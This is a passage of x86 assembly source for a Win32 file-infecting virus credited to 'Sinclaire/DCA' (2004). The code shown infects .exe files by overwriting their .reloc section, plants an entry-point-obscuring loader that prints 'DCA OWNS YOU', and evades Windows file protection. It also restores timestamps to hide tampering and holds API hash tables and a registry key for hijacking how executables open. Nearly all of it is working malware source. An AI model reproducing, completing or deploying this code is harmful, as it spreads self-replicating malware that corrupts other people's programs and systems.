;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; TryAddress ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Checks if esi points to a valid PE base address (useful to ;
; find Kernel32), uses SEH to avoid possible faults, so the ;
; address may be anything ;
; ;
; Input: ;
; ESI : address to try ;
; ;
; Output: ;
; CF (Carry Flag) : set on error, clear on success ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
TryAddress:
pushad
SETUP_SEH_HANDLER TA_Fail
cmp word ptr [esi], 'ZM'
jne TA_Fail
add esi, [esi.MZ_lfanew]
cmp word ptr [esi], 'EP'
je TA_Success
TA_Success:
RESTORE_SEH_HANDLER
popad
clc
ret
TA_Fail:
RESTORE_SEH_HANDLER
popad
stc
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Randomizing functions
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; RNG_Init ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Initialises the Random Number Generator ;
; ;
; Input: ;
; None ;
; ;
; Output: ;
; None ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
RNG_Init:
pushad
apicall GetTickCount
mov [ebp + RndSeed_1], eax
rol eax, 3
mov [ebp + RndSeed_2], eax
rol eax, 3
mov [ebp + RndSeed_3], eax
rol eax, 3
mov [ebp + RndSeed_4], eax
rol eax, 3
mov [ebp + RndSeed_5], eax
rol eax, 3
mov [ebp + RndSeed_6], eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; RNG_GetRandom ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Returns a 32-bit random number ;
; ;
; Input: ;
; None ;
; ;
; Output: ;
; EAX : random number ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
RNG_GetRandom:
push edx
mov eax, [ebp + RndSeed_1]
mov edx, [ebp + RndSeed_2]
xor eax, [ebp + RndSeed_3]
xor edx, [ebp + RndSeed_4]
shrd eax, edx, 11h
push eax
mov eax, [ebp + RndSeed_5]
mov edx, [ebp + RndSeed_6]
and eax, 0FFFFFFFEh
add [ebp + RndSeed_1], eax
adc [ebp + RndSeed_2], edx
inc dword ptr [ebp + RndSeed_3]
inc dword ptr [ebp + RndSeed_4]
pop eax
pop edx
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; RNG_GetRandomRange ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Returns a random number from 0 to [EAX - 1] ;
; ;
; Input: ;
; EAX : maximum random number to get + 1 ;
; ;
; Output: ;
; EAX : random number ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
RNG_GetRandomRange:
push ebx
mov ebx, eax
call RNG_GetRandom
RNG_R_Loop:
cmp eax, ebx ; Now, keep result in the given range
jl RNG_R_Ok ; It's in range, so we can return
shr eax, 1 ; It's not. We divide it by 2 and
jmp RNG_R_Loop ; loop to compare again
RNG_R_Ok:
pop ebx
ret ; Return!
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Infection Code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; InfectFile ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Infects a Portable Executable file by overwriting .reloc section ;
; ;
; Input: ;
; ESI : points to filename to infect ;
; ;
; Output: ;
; None ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
InfectFile:
pushad
mov [ebp + FileName], esi
mov [ebp + FileInfected], FALSE
mov edi, esi
mov ecx, MAX_PATH
xor eax, eax
cld
repnz scasb
mov eax, [edi-5]
or eax, 20202000h
cmp eax, 'exe.'
jne IF_Quit
; Avoid System File Protection
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lea edx, [ebp + szSfc] ; We have to avoid Win2K/WinME SFP
push edx ; Push a pointer to library name
apicall LoadLibrary ; Load it
test eax, eax ; If the library doesn't exist, we
jz IF_NotProtected ; can safely ignore SFP
lea edx, [ebp + szSfcProc] ; Pointer to function name
push edx ; Push it
push eax ; Push module handle
apicall GetProcAddress ; Call API
test eax, eax ; No function with that name, so we
jz IF_NotProtected ; proceed to infection
push esi ; Pointer to victim's filename
push NULL ; This parameter must be NULL
call eax ; Call SfcIsFileProtected
test eax, eax ; Not protected? Go ahead, continue
jz IF_NotProtected ; with infection
jmp IF_Quit ; File protected, we must quit
; Save file attributes and remove them
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF_NotProtected:
push esi ; Points to filename
apicall GetFileAttributes ; Call API
mov [ebp + FileAttribs], eax ; Save attributes for later use
push FILE_ATTRIBUTE_NORMAL ; Now we change the attributes of the
push esi ; file to FILE_ATTRIBUTE_NORMAL
apicall SetFileAttributes ; Call API
; Open a handle to the file
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF_OpenFile:
xor eax, eax
push eax
push eax
push OPEN_EXISTING
push eax
push FILE_SHARE_READ
push GENERIC_READ or GENERIC_WRITE
push esi
apicall CreateFile
inc eax
jz IF_RestoreAttribs
dec eax
mov [ebp + FileHandle], eax
; Save creation/access/modify times
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lea edx, [ebp + FileTime_Written]
push edx
lea edx, [ebp + FileTime_Accessed]
push edx
lea edx, [ebp + FileTime_Created]
push edx
push [ebp + FileHandle]
apicall GetFileTime
; Save file size
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
push NULL
push [ebp + FileHandle]
apicall GetFileSize
mov [ebp + FileSize], eax
; Open a file mapping object
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF_CreateMapping:
xor eax, eax
push eax
push [ebp + FileSize]
push eax
push PAGE_READWRITE
push eax
push [ebp + FileHandle]
apicall CreateFileMapping
test eax, eax
jz IF_CloseFile
mov [ebp + FileMapping], eax
; Map a view of the file
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF_CreateView:
xor eax, eax
push dword ptr [ebp + offset FileSize]
push eax
push eax
push FILE_MAP_ALL_ACCESS
push [ebp + FileMapping]
apicall MapViewOfFile
test eax, eax
jz IF_CloseMapping
mov [ebp + FileView], eax
mov esi, eax
; Check for MZ/PE signatures
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
cmp word ptr [esi], 'ZM'
jne IF_CloseMapping
add esi, [esi.MZ_lfanew]
cmp word ptr [esi], 'EP'
jne IF_CloseMapping
; Check for space for the EPO loader
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
mov esi, [ebp + FileView]
mov edi, esi
add esi, [esi.MZ_lfanew]
sub esi, edi
sub esi, size IMAGE_DOS_HEADER
cmp esi, SIZE_EPO_LOADER
jl IF_CloseView
; Find '.reloc' section
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
mov esi, [ebp + FileView]
add esi, [esi.MZ_lfanew]
movzx eax, word ptr [esi.FH_NumberOfSections]
mov [ebp + File_Sections], eax
add esi, size IMAGE_FILE_HEADER
mov eax, [esi.OH_ImageBase]
mov [ebp + File_ImageBase], eax
mov eax, [esi.OH_AddressOfEntryPoint]
add eax, [ebp + File_ImageBase]
mov [ebp + File_EntryPoint], eax
mov eax, [esi.OH_NumberOfRvaAndSizes]
imul ecx, eax, size IMAGE_DATA_DIRECTORY
add esi, size IMAGE_OPTIONAL_HEADER
add esi, ecx
mov eax, [ebp + File_Sections]
IF_TrySection:
cmp dword ptr [esi], 'ler.'
jne IF_NextSection
add esi, 2
cmp dword ptr [esi], 'cole'
jne IF_NextSection
sub esi, 2
jmp IF_FoundRelocs
IF_NextSection:
dec eax
test eax, eax
jz IF_CloseView
add esi, size IMAGE_SECTION_HEADER
jmp IF_TrySection
IF_FoundRelocs:
cmp [esi.SH_SizeOfRawData], VIRUS_SIZE
jl IF_CloseView
cmp [esi.SH_Characteristics], IMAGE_SCN_CNT_CODE or \
IMAGE_SCN_MEM_EXECUTE or \
IMAGE_SCN_MEM_WRITE
je IF_CloseView
mov [ebp + File_SectionHeader], esi
mov eax, [esi.SH_VirtualAddress]
mov [ebp + File_SectionRVA], eax
mov eax, [esi.SH_PointerToRawData]
mov [ebp + File_SectionRaw], eax
mov eax, [esi.SH_SizeOfRawData]
mov [ebp + File_SectionSize], eax
; Copy virus body
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF_CopyVirusBody:
mov edi, [ebp + File_SectionRaw]
add edi, [ebp + FileView]
lea esi, [ebp + VirusStart]
mov ecx, VIRUS_SIZE
cld
rep movsb
mov ecx, [ebp + File_SectionSize]
sub ecx, VIRUS_SIZE
xor eax, eax
rep stosb
; Insert EPO loader into DOS header/stub
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF_InsertLoader:
xor eax, eax
mov edi, [ebp + FileView] ; Start of file
mov [edi.MZ_ip], ax ; Clear DOS entry point
mov [edi.MZ_lfarlc], ax ; Clear DOS relocations
add edi, 2 ; Skip 'MZ' signature
mov al, OPCODE_JMP_SHORT ; Setup a JMP SHORT <DISP>
stosb ; Insert JMP SHORT opcode
mov eax, size IMAGE_DOS_HEADER ; Calc destination: after MZ header
add eax, 2 ; skipping first 2 bytes of code
sub al, 4 ; but relative to next EIP!
stosb ; Insert displacement byte
mov eax, [ebp + File_ImageBase] ; Calculate virus entry point:
add eax, [ebp + File_SectionRVA] ; image base + virus section RVA
lea edx, [ebp + EntryPoint] ; Save virus entry point into our
mov [edx], eax ; loader code
mov edi, [ebp + FileView] ; Start of file
add edi, size IMAGE_DOS_HEADER ; Go beyond MZ header
lea esi, [ebp + EPOLoader] ; Address of our loader code
mov ecx, SIZE_EPO_LOADER ; Size of code
rep movsb ; Store it!
; Update headers
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF_UpdateHeaders:
mov edi, [ebp + FileView]
add edi, [edi.MZ_lfanew]
add edi, size IMAGE_FILE_HEADER
xor eax, eax ; Clear entry point (reset to zero)
mov [edi.OH_AddressOfEntryPoint], eax
mov esi, [ebp + File_SectionHeader]
mov [esi.SH_Characteristics], IMAGE_SCN_CNT_CODE or \
IMAGE_SCN_MEM_EXECUTE or \
IMAGE_SCN_MEM_WRITE
mov [ebp + FileInfected], TRUE ; Infection complete
; Unmap the view
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF_CloseView:
push [ebp + FileView]
apicall UnmapViewOfFile
; Close the file mapping object
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF_CloseMapping:
push [ebp + FileMapping]
apicall CloseHandle
; Close the file handle, restore times
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF_CloseFile:
IF DEBUG
push [ebp + FileHandle]
apicall CloseHandle
ELSE
lea edx, [ebp + FileTime_Written]
push edx
lea edx, [ebp + FileTime_Accessed]
push edx
lea edx, [ebp + FileTime_Created]
push edx
push [ebp + FileHandle]
apicall SetFileTime
push [ebp + FileHandle]
apicall CloseHandle
ENDIF
; Restore the file attributes
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF_RestoreAttribs:
push [ebp + FileAttribs]
push [ebp + FileName]
apicall SetFileAttributes
IF_Quit:
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; EPO - stub program ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Code to replace victim's DOS stub by a crafted one ;) ;
; ;
; Input: ;
; None ;
; ;
; Output: ;
; None ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EPOLoader:
db 0EBh ; jmps ...
db MSDOS_Code - WIN32_Code ; (relative displacement)
WIN32_Code:
db 052h ; push edx
db 045h ; inc ebp
db 068h ; push ...
EntryPoint:
dd 000000000h ;
db 033h, 0C0h ; xor eax, eax
db 064h, 0FFh, 030h ; push fs:[eax]
db 064h, 089h, 020h ; mov fs:[eax], esp
db 0F7h, 0F0h ; div eax
MSDOS_Code:
db 0BAh ; mov dx ...
dw MSDOS_String - EPOLoader ; (offset string)
db 00Eh ; push cs
db 01Fh ; pop ds
db 0B4h, 009h ; mov ah, 09
db 0CDh, 021h ; int 21
db 0B8h, 001h, 04Ch ; mov ax, 04C01
db 0CDh, 021h ; int 21
MSDOS_String:
; db 'This program requires Microsoft Windows.'
; db 'This program cannot be run in DOS mode.'
; db 'This program must be run under Win32.'
; Aargh! I need more space!
; db 'This program needs Win32'
db 'DCA OWNS YOU'
db CRLF, '$', 0
EPOLoader_End:
SIZE_EPO_LOADER equ EPOLoader_End - EPOLoader
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Virus Data
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Kernel32 dd 00h
HostEntry dd 00h
CRC32 dd 00h
Key32 dd 00h
Count dd 00h
StartupInfo dd 00h
ProcessInfo dd 00h
CmdLine dd 00h
CmdSpawn dd 00h
CmdExefile dd 00h
RndSeed_1 dd 00h
RndSeed_2 dd 00h
RndSeed_3 dd 00h
RndSeed_4 dd 00h
RndSeed_5 dd 00h
RndSeed_6 dd 00h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Export table data
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ET_MaxNames dd 00h
ET_PtrNames dd 00h
ET_PtrAddresses dd 00h
ET_PtrOrdinals dd 00h
ET_TmpAddress dd 00h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Infection data
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FileName dd 00h
FileAttribs dd 00h
FileSize dd 00h
FileHandle dd 00h
FileMapping dd 00h
FileView dd 00h
FileTime_Created dd 00h, 00h
FileTime_Accessed dd 00h, 00h
FileTime_Written dd 00h, 00h
File_ImageBase dd 00h
File_EntryPoint dd 00h
File_Sections dd 00h
File_SectionHeader dd 00h
File_SectionSize dd 00h
File_SectionRaw dd 00h
File_SectionRVA dd 00h
FileInfected dd 00h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Kernel32 API CRC32 Names
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Kernel_API_CRC32:
_ExitProcess dd 040F57181h
_CreateProcess dd 0267E0B05h
_LoadLibrary dd 04134D1ADh
_GetProcAddress dd 0FFC97C1Fh
_GlobalAlloc dd 083A353C3h
_GetModuleFileName dd 004DCF392h
_GetStartupInfo dd 052CA6A8Dh
_GetCommandLine dd 03921BF03h
_GetWindowsDirectory dd 0FE248274h
_CloseHandle dd 068624A9Dh
_CreateFile dd 08C892DDFh
_CreateFileMapping dd 096B2D96Ch
_MapViewOfFile dd 0797B49ECh
_UnmapViewOfFile dd 094524B42h
_GetFileAttributes dd 0C633D3DEh
_SetFileAttributes dd 03C19E536h
_GetFileSize dd 0EF7D811Bh
_GetFileTime dd 04434E8FEh
_SetFileTime dd 04B2A3E7Dh
_CopyFile dd 05BD05DB1h
_GetTickCount dd 0613FD7BAh
_GetSystemTime dd 075B7EBE8h
_Sleep dd 00AC136BAh
_lstrcat dd 0C7DE8BACh
dd 00000000h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Kernel32 API Addresses
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Kernel_API_Addr:
ExitProcess_ dd 0
CreateProcess dd 0
LoadLibrary dd 0
GetProcAddress dd 0
GlobalAlloc dd 0
GetModuleFileName dd 0
GetStartupInfo dd 0
GetCommandLine dd 0
GetWindowsDirectory dd 0
CloseHandle dd 0
CreateFile dd 0
CreateFileMapping dd 0
MapViewOfFile dd 0
UnmapViewOfFile dd 0
GetFileAttributes dd 0
SetFileAttributes dd 0
GetFileSize dd 0
GetFileTime dd 0
SetFileTime dd 0
CopyFile dd 0
GetTickCount dd 0
GetSystemTime dd 0
Sleep dd 0
lstrcat dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; User32 API CRC32 Names
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
User_API_CRC32:
_MessageBox dd 0D8556CF7h
_wsprintf dd 0A10A30B6h
dd 00000000h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; User32 API Addresses
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
User_API_Addr:
MessageBox dd 0
wsprintf dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Advapi32 API CRC32 Names
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Advapi_API_CRC32:
_RegOpenKeyEx dd 0CD195699h
_RegCloseKey dd 0841802AFh
_RegSetValueEx dd 05B9EC9C6h
_RegSetValue dd 0E78187CEh
dd 00000000h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Advapi32 API Addresses
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Advapi_API_Addr:
RegOpenKeyEx dd 0
RegCloseKey dd 0
RegSetValueEx dd 0
RegSetValue dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Misc Stuff/Strings
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Strings:
szAuthour db 'Sinclaire/DCA', 0
szVirusName db VIRUS_NAME, 0
szVirusCredits db '[',VIRUS_NAME, '] ', VIRUS_VERSION, CRLF
db '(C) 2004 by Sinclaire', CRLF, CRLF
db 'As I walk, all my life drifts before me', CRLF
db 'And though the end is near, Im not sorry', CRLF
db 'Catch my soul, its willing to fly away', CRLF
db 'Mark my words, believe my soul lives on', CRLF
db 'Dont worry, now that I have gone', CRLF
db 'Ive gone beyond to see the truth', CRLF
db 'So when you know that your time is close at hand', CRLF
db 'Maybe then you ll begin to understand', CRLF
db 'Life down there is just a strange illusion', CRLF, CRLF
db 'Dedicated to rrlf, BlueOwl, DiA, Philie and all the gang', CRLF, 0
szUser32 db 'USER32.DLL', 0
szAdvapi32 db 'ADVAPI32.DLL', 0
szSfc db 'SFC.DLL', 0
szSfcProc db "SfcIsFileProtected", 0
szRegKey db "exefile\shell\open\command", 0
szRegValue db SPAWN_NAME, ' ', 1, '"%1" %*', 0
szSpawnFile db '\', SPAWN_NAME, 0
Padding dd ?
ProcessInformation PROCESS_INFORMATION <>
VirusEnd:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Fake Host Code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FakeHost:
mov esi, offset szBait
call InfectFile
sub esp, 1024
mov esi, esp
push 2
push VIRUS_SIZE
push VIRUS_SIZE
push offset szTemplate
push esi
call _wsprintfA
push 1040h
push offset szTitle
push esi
push 0
call MessageBoxA
add esp, 1024
FakeHost_Quit:
push 0
call ExitProcess
End VirusStart
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;